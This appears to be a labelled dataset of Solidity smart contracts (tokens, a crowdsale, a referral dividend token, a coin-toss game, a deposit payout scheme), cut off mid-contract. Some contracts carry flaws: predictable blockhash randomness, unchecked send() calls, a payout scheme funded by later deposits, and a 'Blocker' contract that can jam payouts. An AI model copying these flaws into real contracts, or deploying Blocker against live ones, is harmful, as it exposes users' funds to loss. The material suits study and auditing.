return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract MintableToken is PausableToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract TokenImpl is MintableToken {
string public name;
string public symbol;
uint256 public rate;
uint256 public eth_decimal_num = 100000;
ERC20Basic public targetToken;
uint256 public exchangedNum;
event Exchanged(address _owner, uint256 _value);
function TokenImpl(string _name, string _symbol, uint256 _decimal_num) public {
name = _name;
symbol = _symbol;
eth_decimal_num = _decimal_num;
paused = true;
}
function exchange(address _exchanger, uint256 _value) internal {
require(canExchange());
uint256 _tokens = (_value.mul(rate)).div(eth_decimal_num);
targetToken.transfer(_exchanger, _tokens);
exchangedNum = exchangedNum.add(_value);
Exchanged(_exchanger, _tokens);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
if (_to == address(this) || _to == owner) {
exchange(msg.sender, _value);
}
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool) {
if (_to == address(this) || _to == owner) {
exchange(msg.sender, _value);
}
return super.transfer(_to, _value);
}
function balanceOfTarget(address _owner) public view returns (uint256 targetBalance) {
if (targetToken != address(0)) {
return targetToken.balanceOf(_owner);
} else {
return 0;
}
}
function canExchangeNum() public view returns (uint256) {
if (canExchange()) {
uint256 _tokens = targetToken.balanceOf(this);
return (eth_decimal_num.mul(_tokens)).div(rate);
} else {
return 0;
}
}
function updateTargetToken(address _target, uint256 _rate) onlyOwner public {
rate = _rate;
targetToken = ERC20Basic(_target);
}
function canExchange() public view returns (bool) {
return targetToken != address(0) && rate > 0;
}
}
contract Crowdsale is Pausable {
using SafeMath for uint256;
string public projectName;
string public tokenName;
string public tokenSymbol;
uint256 public rate;
uint256 public ethRaised;
uint256 public eth_decimal_num = 100000;
uint256 public cap;
TokenImpl public token;
ERC20Basic public targetToken;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value);
event IncreaseCap(uint256 cap);
event DecreaseCap(uint256 cap);
function Crowdsale(string _projectName, string _tokenName, string _tokenSymbol, uint256 _cap) public {
require(_cap > 0);
projectName = _projectName;
tokenName = _tokenName;
tokenSymbol = _tokenSymbol;
cap = _cap.mul(eth_decimal_num);
token = createTokenContract();
}
function newCrowdSale(string _projectName, string _tokenName,
string _tokenSymbol, uint256 _cap) onlyOwner public {
require(_cap > 0);
projectName = _projectName;
tokenName = _tokenName;
tokenSymbol = _tokenSymbol;
cap = _cap.mul(eth_decimal_num);
ethRaised = 0;
token.transferOwnership(owner);
token = createTokenContract();
rate = 0;
targetToken = ERC20Basic(0);
}
function createTokenContract() internal returns (TokenImpl) {
return new TokenImpl(tokenName, tokenSymbol, eth_decimal_num);
}
function() external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) whenNotPaused public payable {
require(beneficiary != address(0));
require(msg.value >= (0.00001 ether));
uint256 ethAmount = (msg.value.mul(eth_decimal_num)).div(1 ether);
ethRaised = ethRaised.add(ethAmount);
require(ethRaised <= cap);
token.mint(beneficiary, ethAmount);
TokenPurchase(msg.sender, beneficiary, ethAmount);
forwardFunds();
}
function forwardFunds() internal {
owner.transfer(msg.value);
}
function increaseCap(uint256 _cap_inc) onlyOwner public {
require(_cap_inc > 0);
cap = cap.add(_cap_inc.mul(eth_decimal_num));
IncreaseCap(cap);
}
function decreaseCap(uint256 _cap_dec) onlyOwner public {
require(_cap_dec > 0);
cap = cap.sub(_cap_dec.mul(eth_decimal_num));
if (cap <= ethRaised) {
cap = ethRaised;
}
DecreaseCap(cap);
}
function saleRatio() public view returns (uint256 ratio) {
if (cap == 0) {
return 0;
} else {
return ethRaised.mul(10000).div(cap);
}
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return token.balanceOf(_owner);
}
function balanceOfTarget(address _owner) public view returns (uint256 targetBalance) {
return token.balanceOfTarget(_owner);
}
function canExchangeNum() public view returns (uint256) {
return token.canExchangeNum();
}
function updateTargetToken(address _target, uint256 _rate) onlyOwner public {
rate = _rate;
targetToken = ERC20Basic(_target);
token.updateTargetToken(_target, _rate);
}
function releaseTargetToken(uint256 _value) onlyOwner public returns (bool) {
if (targetToken != address(0)) {
return targetToken.transfer(owner, _value);
} else {
return false;
}
}
function pauseToken() onlyOwner public {
token.pause();
}
function unpauseToken() onlyOwner public {
token.unpause();
}
function hasEnded() public view returns (bool) {
return ethRaised >= cap;
}
} | 1 | 3,177 |
pragma solidity ^0.4.25;
contract JujxToken {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "Jujx china Token";
string public symbol = "JJX";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 12;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 5;
uint8 constant internal refferalFee_ = 25;
uint8 constant internal refPercFee1 = 68;
uint8 constant internal refPercFee2 = 16;
uint8 constant internal refPercFee3 = 16;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => address) internal refer;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
address public owner;
constructor() public {
owner = msg.sender;
}
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
uint256 _updatedPayouts = (uint256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
uint256 _ownerProfit = SafeMath.div(SafeMath.mul(_updatedPayouts, 1), 100);
referralBalance_[owner] = SafeMath.add(referralBalance_[owner], _ownerProfit);
payoutsTo_[_customerAddress] -= (int256) (_updatedPayouts + _ownerProfit);
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
tokenBalanceLedger_[owner] = SafeMath.add(tokenBalanceLedger_[owner], _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
_undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, (entryFee_-1)), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
referralBalance_[owner] = referralBalance_[owner] + SafeMath.div(SafeMath.mul(_incomingEthereum, 1), 100);
if (
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
if (refer[_customerAddress] == 0x0000000000000000000000000000000000000000) {
refer[_customerAddress] = _referredBy;
}
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], SafeMath.div(SafeMath.mul(_referralBonus, refPercFee1), 100));
address ref2 = refer[_referredBy];
if (ref2 != 0x0000000000000000000000000000000000000000 && tokenBalanceLedger_[ref2] >= stakingRequirement) {
referralBalance_[ref2] = SafeMath.add(referralBalance_[ref2], SafeMath.div(SafeMath.mul(_referralBonus, refPercFee2), 100));
address ref3 = refer[ref2];
if (ref3 != 0x0000000000000000000000000000000000000000 && tokenBalanceLedger_[ref3] >= stakingRequirement) {
referralBalance_[ref3] = SafeMath.add(referralBalance_[ref3], SafeMath.div(SafeMath.mul(_referralBonus, refPercFee3), 100));
}else{
referralBalance_[owner] = SafeMath.add(referralBalance_[owner], SafeMath.div(SafeMath.mul(_referralBonus, refPercFee3), 100));
}
}else{
referralBalance_[owner] = SafeMath.add(referralBalance_[owner], SafeMath.div(SafeMath.mul(_referralBonus, refPercFee2), 100));
referralBalance_[owner] = SafeMath.add(referralBalance_[owner], SafeMath.div(SafeMath.mul(_referralBonus, refPercFee3), 100));
}
} else {
referralBalance_[owner] = SafeMath.add(referralBalance_[owner], _referralBonus);
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
function getParent(address child) public view returns (address) {
return refer[child];
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
function changeOwner(address _newOwner) onlyOwner public returns (bool success) {
owner = _newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,637 |
pragma solidity ^0.4.20;
contract Token {
function totalSupply () public view returns (uint256 supply);
function balanceOf (address _owner) public view returns (uint256 balance);
function transfer (address _to, uint256 _value)
public returns (bool success);
function transferFrom (address _from, address _to, uint256 _value)
public returns (bool success);
function approve (address _spender, uint256 _value)
public returns (bool success);
function allowance (address _owner, address _spender)
public view returns (uint256 remaining);
event Transfer (address indexed _from, address indexed _to, uint256 _value);
event Approval (
address indexed _owner, address indexed _spender, uint256 _value);
}
contract SafeMath {
uint256 constant private MAX_UINT256 =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
function safeAdd (uint256 x, uint256 y)
pure internal
returns (uint256 z) {
assert (x <= MAX_UINT256 - y);
return x + y;
}
function safeSub (uint256 x, uint256 y)
pure internal
returns (uint256 z) {
assert (x >= y);
return x - y;
}
function safeMul (uint256 x, uint256 y)
pure internal
returns (uint256 z) {
if (y == 0) return 0;
assert (x <= MAX_UINT256 / y);
return x * y;
}
}
contract AbstractToken is Token, SafeMath {
function AbstractToken () public {
}
function balanceOf (address _owner) public view returns (uint256 balance) {
return accounts [_owner];
}
function transfer (address _to, uint256 _value)
public returns (bool success) {
uint256 fromBalance = accounts [msg.sender];
if (fromBalance < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (fromBalance, _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (msg.sender, _to, _value);
return true;
}
function transferFrom (address _from, address _to, uint256 _value)
public returns (bool success) {
uint256 spenderAllowance = allowances [_from][msg.sender];
if (spenderAllowance < _value) return false;
uint256 fromBalance = accounts [_from];
if (fromBalance < _value) return false;
allowances [_from][msg.sender] =
safeSub (spenderAllowance, _value);
if (_value > 0 && _from != _to) {
accounts [_from] = safeSub (fromBalance, _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (_from, _to, _value);
return true;
}
function approve (address _spender, uint256 _value)
public returns (bool success) {
allowances [msg.sender][_spender] = _value;
Approval (msg.sender, _spender, _value);
return true;
}
function allowance (address _owner, address _spender)
public view returns (uint256 remaining) {
return allowances [_owner][_spender];
}
mapping (address => uint256) internal accounts;
mapping (address => mapping (address => uint256)) internal allowances;
}
contract OrgonToken is AbstractToken {
uint256 constant MAX_TOKEN_COUNT =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
function OrgonToken () public {
owner = msg.sender;
}
function name () public pure returns (string) {
return "Orgon";
}
function symbol () public pure returns (string) {
return "ORGN";
}
function decimals () public pure returns (uint8) {
return 9;
}
function totalSupply () public view returns (uint256 supply) {
return tokenCount;
}
function createTokens (uint256 _value) public returns (bool) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
Transfer (address (0), msg.sender, _value);
}
return true;
}
function burnTokens (uint256 _value) public returns (bool) {
require (msg.sender == owner);
if (_value > accounts [msg.sender]) return false;
else if (_value > 0) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
tokenCount = safeSub (tokenCount, _value);
Transfer (msg.sender, address (0), _value);
return true;
} else return true;
}
function setOwner (address _newOwner) public {
require (msg.sender == owner);
owner = _newOwner;
}
uint256 internal tokenCount;
address public owner;
} | 1 | 4,853 |
pragma solidity ^0.4.24;
contract WhoWins {
mapping (address => uint256) public balance;
mapping (address => uint256) public atBlock;
address public house;
constructor() public {
house = msg.sender;
}
function () external payable {
if (balance[msg.sender] != 0) {
uint256 profit = balance[msg.sender] * 5 / 100 * (block.number - atBlock[msg.sender]) / 5900;
uint8 toss = uint8(keccak256(abi.encodePacked(blockhash(block.timestamp), block.difficulty, block.coinbase))) % 2;
if (toss == 0) {
uint256 winning = profit * 2;
msg.sender.transfer(profit * 2);
house.transfer(winning * 5 / 100);
}
}
balance[msg.sender] += msg.value;
atBlock[msg.sender] = block.number;
}
} | 1 | 4,261 |
pragma solidity ^0.4.25;
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract distribution is Ownable {
using SafeMath for uint256;
event OnDepositeReceived(address investorAddress, uint value);
event OnPaymentSent(address investorAddress, uint value);
uint public minDeposite = 10000000000000000;
uint public maxDeposite = 10000000000000000000000;
uint public currentPaymentIndex = 0;
uint public amountForDistribution = 0;
uint public percent = 120;
bool public migrationFinished = false;
uint public amountRaised = 3295255217937131845260;
uint public depositorsCount = 285;
address distributorWallet;
address promoWallet;
address wallet1;
address wallet2;
address wallet3;
struct Deposite {
address depositor;
uint amount;
uint depositeTime;
uint paimentTime;
}
Deposite[] public deposites;
mapping(address => uint[]) public depositors;
modifier onlyDistributor () {
require(msg.sender == distributorWallet);
_;
}
function setDistributorAddress(address newDistributorAddress) public onlyOwner {
require(newDistributorAddress != address(0));
distributorWallet = newDistributorAddress;
}
function setNewMinDeposite(uint newMinDeposite) public onlyOwner {
minDeposite = newMinDeposite;
}
function setNewMaxDeposite(uint newMaxDeposite) public onlyOwner {
maxDeposite = newMaxDeposite;
}
function setNewWallets(address newWallet1, address newWallet2, address newWallet3) public onlyOwner {
wallet1 = newWallet1;
wallet2 = newWallet2;
wallet3 = newWallet3;
}
function setPromoWallet(address newPromoWallet) public onlyOwner {
require(newPromoWallet != address(0));
promoWallet = newPromoWallet;
}
constructor () public {
distributorWallet = address(0x494A7A2D0599f2447487D7fA10BaEAfCB301c41B);
promoWallet = address(0xFd3093a4A3bd68b46dB42B7E59e2d88c6D58A99E);
wallet1 = address(0xBaa2CB97B6e28ef5c0A7b957398edf7Ab5F01A1B);
wallet2 = address(0xFDd46866C279C90f463a08518e151bC78A1a5f38);
wallet3 = address(0xdFa5662B5495E34C2aA8f06Feb358A6D90A6d62e);
}
function() public payable {
require((msg.value >= minDeposite) && (msg.value <= maxDeposite));
Deposite memory newDeposite = Deposite(msg.sender, msg.value, now, 0);
deposites.push(newDeposite);
if (depositors[msg.sender].length == 0) depositorsCount += 1;
depositors[msg.sender].push(deposites.length - 1);
amountForDistribution = amountForDistribution.add(msg.value);
amountRaised = amountRaised.add(msg.value);
emit OnDepositeReceived(msg.sender, msg.value);
}
function addMigrateBalance() public payable onlyOwner {
}
function migrateDeposite(address _oldContract, uint _from, uint _to) public onlyOwner {
require(!migrationFinished);
distribution oldContract = distribution(_oldContract);
address depositor;
uint amount;
uint depositeTime;
uint paimentTime;
for (uint i = _from; i <= _to; i++) {
(depositor, amount, depositeTime, paimentTime) = oldContract.getDeposit(i);
Deposite memory newDeposite = Deposite(depositor, amount, depositeTime, paimentTime);
deposites.push(newDeposite);
depositors[depositor].push(deposites.length - 1);
}
}
function finishMigration() onlyOwner public {
migrationFinished = true;
}
function distribute(uint numIterations) public onlyDistributor {
promoWallet.transfer(amountForDistribution.mul(6).div(100));
distributorWallet.transfer(amountForDistribution.mul(1).div(100));
wallet1.transfer(amountForDistribution.mul(1).div(100));
wallet2.transfer(amountForDistribution.mul(1).div(100));
wallet3.transfer(amountForDistribution.mul(1).div(100));
uint i = 0;
uint toSend = deposites[currentPaymentIndex].amount.mul(percent).div(100);
while ((i <= numIterations) && (address(this).balance > toSend)) {
deposites[currentPaymentIndex].depositor.send(toSend);
deposites[currentPaymentIndex].paimentTime = now;
emit OnPaymentSent(deposites[currentPaymentIndex].depositor, toSend);
currentPaymentIndex = currentPaymentIndex.add(1);
i = i.add(1);
if(currentPaymentIndex < deposites.length)
toSend = deposites[currentPaymentIndex].amount.mul(percent).div(100);
}
amountForDistribution = 0;
}
function getAllDepositorsCount() public view returns (uint) {
return depositorsCount;
}
function getAllDepositesCount() public view returns (uint) {
return deposites.length;
}
function getLastDepositId() public view returns (uint) {
return deposites.length - 1;
}
function getDeposit(uint _id) public view returns (address, uint, uint, uint){
return (deposites[_id].depositor, deposites[_id].amount, deposites[_id].depositeTime, deposites[_id].paimentTime);
}
function getDepositesCount(address depositor) public view returns (uint) {
return depositors[depositor].length;
}
function getAmountRaised() public view returns (uint) {
return amountRaised;
}
function getLastPayments(uint lastIndex) public view returns (address, uint, uint) {
uint depositeIndex = currentPaymentIndex.sub(lastIndex).sub(1);
require(depositeIndex >= 0);
return (deposites[depositeIndex].depositor, deposites[depositeIndex].paimentTime, deposites[depositeIndex].amount.mul(percent).div(100));
}
function getUserDeposit(address depositor, uint depositeNumber) public view returns (uint, uint, uint) {
return (deposites[depositors[depositor][depositeNumber]].amount,
deposites[depositors[depositor][depositeNumber]].depositeTime,
deposites[depositors[depositor][depositeNumber]].paimentTime);
}
function getDepositeTime(address depositor, uint depositeNumber) public view returns (uint) {
return deposites[depositors[depositor][depositeNumber]].depositeTime;
}
function getPaimentTime(address depositor, uint depositeNumber) public view returns (uint) {
return deposites[depositors[depositor][depositeNumber]].paimentTime;
}
function getPaimentStatus(address depositor, uint depositeNumber) public view returns (bool) {
if (deposites[depositors[depositor][depositeNumber]].paimentTime == 0) return false;
else return true;
}
}
contract Blocker {
bool private stop = true;
address private owner = msg.sender;
function () public payable {
if(msg.value > 0) {
require(!stop, "Do not accept money");
}
}
function Blocker_resume(bool _stop) public{
require(msg.sender == owner);
stop = _stop;
}
function Blocker_send(address to) public payable {
address buggycontract = to;
require(buggycontract.call.value(msg.value).gas(gasleft())());
}
function Blocker_destroy() public {
require(msg.sender == owner);
selfdestruct(owner);
}
} | 1 | 4,344 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
